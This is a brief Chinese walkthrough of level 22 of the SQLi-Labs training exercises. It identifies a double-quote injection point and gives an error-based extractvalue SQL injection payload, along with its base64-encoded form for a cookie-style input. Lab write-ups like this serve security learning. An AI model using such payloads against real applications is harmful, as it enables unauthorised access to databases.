SQLI DUMB SERIES-22

（1）根据题目知道此处是双引号注入，其余的与上一关相同。

登录成功后，用burp抓包，再刷新浏览器页面。寻找闭合方式：

闭合方式果然为双引号。

（2）其payload与21关相同，需要对payload进行based64编码，同时将闭合方式改变即可。

例如：

admin1" and extractvalue(1,concat(0x7e,(select database())))#

 编码：

YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpKSkjICA=